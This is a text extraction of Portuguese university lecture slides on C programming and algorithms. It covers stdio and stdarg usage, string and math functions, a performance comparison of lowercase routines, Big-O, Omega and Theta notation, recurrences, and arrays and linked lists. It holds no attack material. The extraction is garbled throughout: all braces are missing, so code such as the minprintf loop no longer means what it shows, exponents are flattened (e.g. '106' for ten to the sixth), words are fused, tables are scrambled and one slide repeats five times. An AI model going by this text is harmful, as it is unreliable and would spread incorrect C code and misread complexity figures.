Page 357: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Listas de Argumentos Variáveis

#include <stdarg.h>

void minprintf(char *fmt, ...) /* minimal printf with var arg list */

va_list ap; /* points to each unnamed arg in turn */

char *p; int ival; double dval;

va_start(ap, fmt); /* make ap point to 1st unnamed arg */

for (p=fmt; *p; p++)

if (*p != ’%’) /* print all other characters */

putchar(*p); continue;

switch (*++p)

case ’d’: /* get type int argument */

ival = va_arg(ap, int); printf("%d", ival); break;

case ’f’: /* get type double argument */

dval = va_arg(ap, double); printf("%g", dval); break;

default:

exit(1); break;

va_end(ap); /* clean up when done */

AED 2003/2004 – p.300/554

Page 358: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Input Formatado

int scanf(char *format, arg1, ..., argN)

Lê caracteres do input, interpreta os caracteres deacordo com a especificação format, e coloca osresultados em arg1, ..., argN

arg1, ..., argN sao obrigatoriamente ponteiros

Cada argumento é interpretado de acordo com umaespecificação de conversão, iniciada pelo caracter% e terminada por um caracter:

Caracteres válidos:d, i, o, x, u, c, s, e, f, g, %d, i, o, x, u: podem ser precedidos por hpara indicar um shortd, i, o, x, u, e, f, g: podem serprecedidos por l, para indicar um long (d, i, o, x,u) ou double (e, f, g)

AED 2003/2004 – p.301/554

Page 359: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Input/Output Formatado

Exemplo:Data 2003/04/01 lida através de:scanf("%d/%d/%d", &y,&m, &d);

int sscanf(char *str, char *format, arg1,..., argN)

Equivale a scanf, mas lê argumentos de uma stringstr

arg1, ..., argN sao obrigatoriamente ponteiros

int sprintf(char *str, char *format,arg1, ..., argN)

AED 2003/2004 – p.302/554

Page 360: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Acesso a Ficheiros

#include <stdio.h>

FILE *fopen(char *name, char *mode)

Abre ficheiro, de acordo com modo mode e retornaponteiro para acesso a ficheiro

Leitura/Escrita de caracteres:int fgetc(FILE *fp)

int fputc(int c, FILE *fp)

Leitura/Escrita formatada:int fscanf(FILE *fp, char *fmt, ...)

int fprintf(FILE *fp, char *fmt, ...)

Fecho de ficheiro:int fclose(FILE *fp)

AED 2003/2004 – p.303/554

Page 361: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Acesso a Ficheiros

Ponteiros para acesso a ficheiros de defeito:stdin – Input de defeitostdout – Output de defeitostderrEscrita de mensagens de erro de defeitoUtilizado com exit(int) para tratamento de erros

Macros comuns:#define getchar() getc(stdin)

#define putchar(c) putc((c),stdout)

int ungetc(int c, FILE *fp)Devolve caracter a ficheiro. Retorna EOF em caso deerro, ou então c. Apenas um caracter pode serdevolvido, entre leituras de outros caracteres.

int ferror(FILE *fp); int feof(FILE *fp)AED 2003/2004 – p.304/554

Page 362: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Imprimir Conteúdo de Ficheiros

#include <stdio.h>

/* fcat: concatenate files */

main(int argc, char *argv[])

void filecopy(FILE *, FILE *);

FILE *fp;

if (argc == 1) /* no args; copy standard input */

filecopy(stdin, stdout);

else

while(--argc > 0)

if ((fp = fopen(*++argv, "r")) == NULL)

printf("cat: can’t open %s\n", *argv);

return 1;

else

filecopy(fp, stdout);

fclose(fp);

return 0;

AED 2003/2004 – p.305/554

Page 363: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Imprimir Conteúdo de Ficheiros

/* filecopy: copy file ifp to file ofp */

void filecopy(FILE *ifp, FILE *ofp)

int c;

while ((c = getc(ifp)) != EOF)

putc(c, ofp);

AED 2003/2004 – p.306/554

Page 364: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Input/Output de Linhas

#include <stdio.h>

char *fgets(char *line, int maxline, FILE*fp)

Lê linha (incluindo ’\n’) do ficheiro fp. Em caso deEOF ou erro retorna NULL; caso contrário retornalinha

int fputs(char *line, FILE *fp)

Escreve linha para o ficheiro fp. Linha nãonecessita ser terminada por ’\n’. Retorna 0, ou EOFem caso de erro

gets(), para stdin, e puts(), para stdout

AED 2003/2004 – p.307/554

Page 365: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções para Strings

#include <string.h>

strcat(s, t)

strncat(s, t, b)

strcmp(s, t)

strncmp(s, t, n)

strcpy(s, t)

strncpy(s, t, n)

strlen(s)

strchr(s, c)

strrchr(s, c)

AED 2003/2004 – p.308/554

Page 366: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Teste e Conversão de Caracteres

#include <ctype.h>

isalpha(c)

isupper(c)

islower(c)

isdigit(c)

isalnum(c)

isspace(c)

toupper(c)

tolower(c)

AED 2003/2004 – p.309/554

Page 367: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Reserva de memória

#include <stdlib.h>

void *malloc(size_t n)

Retorna ponteiro para n bytes não inicializados, ouNULL se pedido falha

void *calloc(size_t n, size_t size)

Retorna ponteiro para array com n objectos detamanho size, inicializados a 0, ou NULL se pedidofalha

AED 2003/2004 – p.310/554

Page 368: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Funções Matemáticas

#include <math.h>

É necessário ligar com a biblioteca matemática, ’-lm’

sin(x)

cos(x)

atan2(y,x)

exp(x)

log(x)

log10(x)

pow(x,y)

sqrt(x)

fabs(x)AED 2003/2004 – p.311/554

Page 369: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notas sobre Desempenho – I

Exemplo: conversão para minúsculas#define ITERSIZE 1000

#define BUFFERDIM 1000

extern void lower(char *s);

extern void mk_buffer(char *buffer, int size)

int main(int argc, char **argv)

int i, j;

for (i=0; i<ITERSIZE; i++)

int k = BUFFERDIM-i;

for (j=0; j<i; j++)

mk_buffer(str_buffer, k+j);

lower(str_buffer);

AED 2003/2004 – p.312/554

Page 370: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notas sobre Desempenho – I

void mk_buffer(char *buffer, int size)

int i, tog = 0;

for (i=0; i<size; i++)

if (tog) buffer[i] = ’a’;

else buffer[i] = ’A’;

tog = 1-tog;

AED 2003/2004 – p.313/554

Page 371: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notas sobre Desempenho – I

void lower(char *s) /* Versao 1: 1224.46s */

int i;

for (i=0; i<strlen(s); i++)

if (s[i] >= ’A’ && s[i] <= ’Z’)

s[i] -= (’A’ -’a’);

void lower(char *s) /* Versao 2: 3.93s */

int i, len = strlen(s);

for (i=0; i<len; i++)

if (s[i] >= ’A’ && s[i] <= ’Z’)

s[i] -= (’A’ -’a’);

AED 2003/2004 – p.314/554

Page 372: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notas sobre Desempenho – I

void lower(char *s) /* Versao 3: 3.87s */

int i, len = strlen(s), diff = (’A’ -’a’);

for (i=0; i<len; i++)

int l = *s;

if (l >= ’A’ && l <= ’Z’)

l -= diff;

*(s++) = l;

void lower(char *s) /* Versao 4: 4.07s */

char *e = s + strlen(s);

int diff = (’A’ -’a’);

for (; s<e;)

int l = *s;

if (l >= ’A’ && l <= ’Z’)

*s -= diff;

s++;

AED 2003/2004 – p.315/554

Page 373: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.316/554

Page 374: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.317/554

Page 375: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.318/554

Page 376: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte VIII

Sedgewick, Cap. 2

AED 2003/2004 – p.319/554

Page 377: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Introdução à Análise de Algoritmos

Análise de Algoritmos

Crescimento de Funções

Notação Assimptótica

Exemplos

AED 2003/2004 – p.320/554

Page 378: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

Parâmetro primário: N

grau de polinómio, tamanho de ficheiro, número decaracteres em string, etc.

É usual analisar o tempo de execução de algoritmoscomo função de um único parâmetro

AED 2003/2004 – p.321/554

Page 379: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

Tempos de execução típicos:

1 Se o número de instruções de um programafor executado um número limitado/constantede vezes.

log N Tempo de execução de um programa é log-arítmico. Quando um problema é resolvidoatravés da resolução de um conjunto de sub-problemas.

N Tempo de execução de um programa é lin-ear. Quando existe algum processamento paracada elemento de entrada.

N log N Quando um problema é resolvido através daresolução de um conjunto de sub-problemas, ecombinando posteriormente as suas soluções.

AED 2003/2004 – p.322/554

Page 380: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

Tempos de execução típicos (cont.):

N2 Tempo de execução de um programa équadrático. Quando entrada duplica, tempoaumenta 4x’s.

N3 Tempo de execução de um programa é cúbico.Quando entrada duplica, tempo aumenta 8x’s.

2N Tempo de execução de um programa é expo-nencial. Quando entrada duplica, tempo au-menta para o quadrado!

AED 2003/2004 – p.323/554

Page 381: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

segundos102 1.7 minutos104 2.8 horas105 1.1 dias106 1.6 semanas107 3.8 meses108 3.1 anos109 3.1 décadas1010 3.1 séculos1011 nunca

AED 2003/2004 – p.324/554

Page 382: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

Operações/ segundo

N = 106

N N log N N2

106 segundos segundos semanas109 imediato imediato horas1012 imediato imediato segundos

AED 2003/2004 – p.325/554

Page 383: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

Operações/ segundo

N = 1012

N N log N N2

106 horas horas nunca109 segundos segundos décadas1012 imediato imediato semanas

AED 2003/2004 – p.326/554

Page 384: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Crescimento de Funções

log N√

N N N log N N2

3 3 10 33 1007 10 100 664 10000

10 32 1000 9966 100000013 100 10000 132877 10000000020 1000 1000000 19931569 1000000000000

AED 2003/2004 – p.327/554

Page 385: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notação Assimptótica

Limite Assimptótico Superior:Uma função g(N) diz-se O(f(N)) se existirem c0 eN0 tal que g(N) < c0 f(N) para N > N0.

N0 N

g(N)

c0 f(N)

AED 2003/2004 – p.328/554

Page 386: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Notação Assimptótica

Permite:Limitar erro de ignorar termos menores emexpressões matemáticasLimitar erro de ignorar partes de um programa, asquais têm contribuição pequena para tempo deexecuçãoClassificar algoritmos em termos dos seus limitesassimptóticos superiores dos tempos de execução

AED 2003/2004 – p.329/554

Page 387: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Notação O

g(n) = 0.1n3 + 1000n2 + 25 × 109

É O(nα) para α ≥ 3.

É O(γn) para γ > 1...Não é O(nα) para α < 3.

g(n) = n2 log n35 + 106 n2 + 25 × 109

É O(nα) para α ≥ 3.

É O(nα) para α > 2.

É O(n2 log n).

É O(γn) para γ > 1...

Não é O(n2).

AED 2003/2004 – p.330/554

Page 388: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura Sequencial

int search(int a[], int v, int l, int r)

int i;

for (i = l; i <= r; i++)

if (v == a[i]) return i;

return -1;

No pior caso, são analisados N númerosTempo de execução, para N elementos, é O(N) nopior caso

No melhor caso, é analisado 1 númeroTempo de execução, para N elementos, é O(1) nomelhor caso

AED 2003/2004 – p.331/554

Page 389: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura Binária I

int search(int a[], int v, int l, int r)

while (r >= l)

int m = (l+r)/2;

if (v == a[m]) return m;

if (v < a[m]) r = m-1; else l = m+1;

return -1;

No pior caso, são analisados blog Nc + 1 números (Vera seguir)

Tempo de execução, para N elementos, é O(log N)no pior caso

AED 2003/2004 – p.332/554

Page 390: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Preenchimento de Matriz

int read_mat(int mat[N][N])

int i, j;

for (i = 0; i < N; i++)

for (j = 0; j < N; j++)

scanf("%d", &mat[i][j]);

return -1;

São preenchidas N2 entradas da matrizComplexidade do tempo de execução, para matrizN × N , é O(N2) (no pior caso)

AED 2003/2004 – p.333/554

Page 391: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Multiplicação de Matrizes

int mult_mat(int matA[N][N], int matB[N][N], int matC[N][N])

int i, j, k;

for (i=0; i<N; i++)

for (j=0; j<N; j++)

matC[i][j] = 0;

for (k=0; k<N; k++)

matC[i][j] += matA[i][k] * matB[k][j];

São executados 3 ciclos for encadeados, e cada ciclo éexecutado N vezes

Complexidade do tempo de execução, para oproduto de duas matrizes N × N , é O(N3) (no piorcaso)

AED 2003/2004 – p.334/554

Page 392: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura em Vector I

static int vect[] = -1, 1, 2, 4, 6, 8, 10, 15, 20, 25 ;

static int size = 10;

int main(int argc, char **argv)

int p1, p2, y = lookup(vect, size, atoi(argv[1]), &p1, &p2);

if (y > 0) printf("%d %d\n", p1, p2);

AED 2003/2004 – p.335/554

Page 393: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura em Vector II

int lookup(int v[], int sz, int x, int *p1, int *p2)

int i;

for (i=0; i<sz; i++)

int d = x - v[i], y;

y = search(v, d, 0, sz-1); /* procura binaria */

if (y > 0) *p1 = i; *p2 = y; return 1;

return -1;

Tempo de execução: T (N) = O(N log N)

AED 2003/2004 – p.336/554

Page 394: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura em Vector III

int lookup(int v[], int sz, int x, int *p1, int *p2) /* sem repetir... */

int i = 0, j = sz-1;

while (i < j)

int sum = v[i] + v[j];

if (sum > x) j--;

else if (sum < x) i++;

else *p1 = i; *p2 = j; return 1;

return -1;

Tempo de execução: T (N) = O(N)

AED 2003/2004 – p.337/554

Page 395: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Recorrências

Permitem modelar tempo de execução de funçõesbaseadas na decomposição de um problema numconjunto de outros problemas

Exemplo 1: Analisar input para eliminar um elemento

CN = CN−1 + N , para N ≥ 2, C1 = 1

CN = CN−2 + (N − 1) + N

= CN−3 + (N − 2) + (N − 1) + N

...= 1 + 2 + . . . + (N − 1) + N

=N (N + 1)

2

= O(N2)AED 2003/2004 – p.338/554

Page 396: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Recorrências – Exemplo 2

Função recursiva que a cada passo divide o input ametade

CN = CN/2 + 1 para N ≥ 2, C1 = 1.

Considerar N = 2n.

C2n = C2n−1 + 1

= C2n−2 + 1 + 1

= C2n−3 + 3

...= C20 + n = n + 1

CN = log N + 1 para N = 2n.

Se N/2 ≡ bN/2c, CN = blog Nc + 1 AED 2003/2004 – p.339/554

Page 397: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Recorrências – Exemplo 3

Função recursiva que a cada passo divide o input emduas metades, mas que analisa todo o input

CN = 2CN/2 + N para N ≥ 2, C1 = 0.

Considerar N = 2n.

C2n/2n = C2n−1/2n−1 + 1

= C2n−2/2n−2 + 1 + 1

= C2n−3/2n−3 + 3

...= n

CN = N log N para N = 2n.AED 2003/2004 – p.340/554

Page 398: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Procura Binária II

int search(int a[], int v, int l, int r)

while (r >= l)

int m = (l+r)/2;

if (v == a[m]) return m;

if (v < a[m]) r = m-1; else l = m+1;

return -1;

O total de números analisados não excedeblog Nc + 1 = O(log N).

TN ≤ TbN/2c + 1, com N ≥ 2, T1 = 1.

AED 2003/2004 – p.341/554

Page 399: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Factorial

long fact(int n)

return (n > 1) ? n*fact(n-1) : 1;

Tempo de execução (desprezando constantes):Tn = Tn−1 + 1, T (0) = 1

Tn = n + 1 = O(n)

AED 2003/2004 – p.342/554

Page 400: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Outra Notação Assimptótica

Limite Assimptótico Inferior:Uma função g(N) diz-se Ω(f(N)) se existirem c0 eN0 tal que c0 f(N) < g(N) para N > N0.

N0 N

g(N)

c0 f(N)

AED 2003/2004 – p.343/554

Page 401: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Outra Notação Assimptótica

Limite Assimptótico Apertado:Uma função g(N) diz-se Θ(f(N)) se existirem c1, c2

e N0 tal que c2 f(N) < g(N) < c1 f(N) para N > N0.

N0 N

g(N)

c1 f(N)

c2 f(N)

AED 2003/2004 – p.344/554

Page 402: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplos – Notação Assimptótica

Uma função g(N) diz-se Θ(f(N)) se e só se g(N) forO(f(N)) e Ω(f(N)).

g(n) = 0.1n3 + 1000n2 + 25 × 109

É Θ(n3).

É Ω(n3).Não é Θ(nα) para α 6= 3.Não é Ω(nα) para α > 3.

g(n) = n2 log n35 + 106 n2 + 25 × 109

É Θ(n2 log n).

É Ω(n2 log n).

É Ω(n2), Ω(n), Ω(1)...

AED 2003/2004 – p.345/554

Page 403: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

AED 2003/2004 – p.346/554

Page 404: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Parte IX

Sedgewick, Cap. 3

AED 2003/2004 – p.347/554

Page 405: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados elementares

Tipos básicos

Estruturas

Tabelas

Listas

Amontoados

AED 2003/2004 – p.348/554

Page 406: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados elementares

Tipos básicos

Estruturas

Tabelas

Listas

Amontoados

AED 2003/2004 – p.348/554

Page 407: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados elementares

Tipos básicos

Estruturas

Tabelas

Listas

Amontoados

AED 2003/2004 – p.348/554

Page 408: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados elementares

Tipos básicos

Estruturas

Tabelas

Listas

Amontoados

AED 2003/2004 – p.348/554

Page 409: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Estruturas de dados elementares

Tipos básicos

Estruturas

Tabelas

Listas

Amontoados

AED 2003/2004 – p.348/554

Page 410: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos básicos

Inteiros

Reais

Caracteres

Ponteiros

short a1;

int a2;

long a3;

float x1;

double x2;

char c1;

int *p1;

AED 2003/2004 – p.349/554

Page 411: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos compostos

Estruturasstruct point

float x;

float y;

;

Uniõesstruct line_point

int type;

union

struct point

float x,y;

struct line

float x1,y1;

float x2,y2;

; AED 2003/2004 – p.350/554

Page 412: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

Colecção de itemsInteiros, reais, caracteresEstruturas ou uniõesTabelas, Ponteiros

Guardados em posições consecutivas de memória

int tab[n];

0 1 2 3 n−1

Programador é responsável por respeitar limites

AED 2003/2004 – p.351/554

Page 413: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tabelas

Em C, tabelas podem ser:De dimensão fixaAlocadas dinamicamente

#define N 100

int tab1[N];

int *tab2 = malloc(n*sizeof(int));

Acesso a tabelas alternativo

Com ponteiros

Usando aritmética de ponteiros

x = tab2[i];

y = *(tab2+i);

AED 2003/2004 – p.352/554

Page 414: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: crivo de Eratóstenes

#define N 1000main() int i,j,a[N];for (i=2;i<N;i++) a[i] = 1;for (i=2;i<N;i++)if (a[i])

for(j=i; i*j<N; j++)a[i*j] = 0;

for (i=2; i<N; i++)if (a[i]) printf("%4d",i);

printf("\n");

AED 2003/2004 – p.353/554

Page 415: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Exemplo: simulação de moedas ao ar

#include <stdlib.h>

int heads()

return rand() < RAND_MAX/2;

main(int argc, char *argv[])

int i, j, cnt;

int N = atoi(argv[1]), M = atoi(argv[2]);

int *f = malloc((N+1)*sizeof(int));

for (j = 0; j <= N; j++) f[j] = 0;

for (i = 0; i < M; i++, f[cnt]++)

for (cnt = 0, j = 0; j <= N; j++)

if (heads()) cnt++;

for (j = 0; j <= N; j++)

printf("%2d ", j);

for (i = 0; i < f[j]; i+=10) printf("*");

printf("\n");

AED 2003/2004 – p.354/554

Page 416: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Listas simplesmente ligadas

Conjunto de nós

Cada nó contémInformação útilPonteiro para outro nó

typedef struct node *link;struct node Item item; link next;;

AED 2003/2004 – p.355/554

Page 417: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Apagamento em listas

x

t

x

t

t = x−>next;

x−>next = t−>next;

AED 2003/2004 – p.356/554

Page 418: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inserção em listas

t

x

x

x

t

t−>next = x−>next;

x−>next = t;

AED 2003/2004 – p.357/554

Page 419: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Inversão de lista

link reverse(link x)

